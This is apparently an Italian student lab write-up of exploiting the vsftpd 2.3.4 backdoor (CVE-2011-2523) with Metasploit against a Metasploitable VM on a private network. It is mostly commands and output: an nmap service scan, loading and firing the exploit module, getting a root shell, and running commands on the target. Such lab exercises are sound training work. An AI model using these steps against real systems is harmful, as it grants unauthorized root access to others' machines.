

# MSFCONSOLE

Sfruttamento vulnerabilità del servizio vsftpd 2.3.4 referenza **CVE-2011-2523**.

IP attaccante: 192.168.1.8 KALI

IP bersaglio: 192.168.1.10 METASPLOITABLE

Scansione con nmap dei servizi, avvio msfconsole e ricerca exploit per la versione del servizio.

```
[kali@kali:~]$ nmap -sV 192.168.1.10
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-05 05:48 EST
Stats: 0:00:30 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan timing: About 95.4% done; ETC: 05:48 (0:00:01 remaining)
Nmap scan report for computer-4.station (192.168.1.10)
Host is up (0.0036s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet   Linux telnetd
25/tcp    open  smtp     Postfix smtpd
33/tcp    open  domain   ISC BIND 9.4.2
80/tcp    open  http     Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind  2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
145/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi GNU Classpath grmiregistry
1524/tcp  filtered ingreslock
2049/tcp  open  nfs      2-4 (RPC #100003)
```

```
msf6 > search vsftp
Matching Modules
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No  VSFTPd v2.3.4 Backdoor Command Execu
tion

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
```

Vediamo appunto sull’nmap il servizio vsftpd 2.3.4 e come exploit una backdoor risalente al 2011.

Carichiamo l’exploit e facciamo show options o info per vedere i dettagli

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
  Name      Current Setting  Required  Description
  -  -  -  -
  RHOSTS    192.168.1.10    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     21              yes       The target port (TCP)

Payload options (cmd/unix/interact):
  Name      Current Setting  Required  Description
  -  -  -  -

Exploit target:
  Id  Name
  --  --
  0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Settiamo sull’RHOSTS l’ip della vittima, ricontrolliamo con info se è stato inserito e avviamo l’exploit

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.10:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.10:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.10:21 - The port used by the backdoor bind listener is already open
[*] 192.168.1.10:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.8:33127 -> 192.168.1.10:6200) at 2022-12-05 06:01:41 -0500
```

Come possiamo leggere ha caricato la shell quindi se scriviamo whoami dovremmo vedere l’utente

```
whoami
root

ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        inet6 ::1/128 scope host
            valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:fe:15:08 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.10/24 brd 192.168.1.255 scope global eth0
        inet6 fe80::a00:27ff:fe15:08/64 scope link
            valid_lft forever preferred_lft forever
```

Possiamo vedere che siamo loggati come root e con ip a controlliamo se effettivamente siamo dentro.

```
mkdir /root/test_meta
cd root && ls
Desktop
reset_logs.sh
test_meta
vnc.log
```

Creo una cartella nella root “test\_meta” e la visualizzo con ls

```
msfadmin@metasploitable:~$ ls /root/
Desktop reset_logs.sh test_meta vnc.log
```

Provo ls sulla macchina METASPLOITABLE per verificare che c’è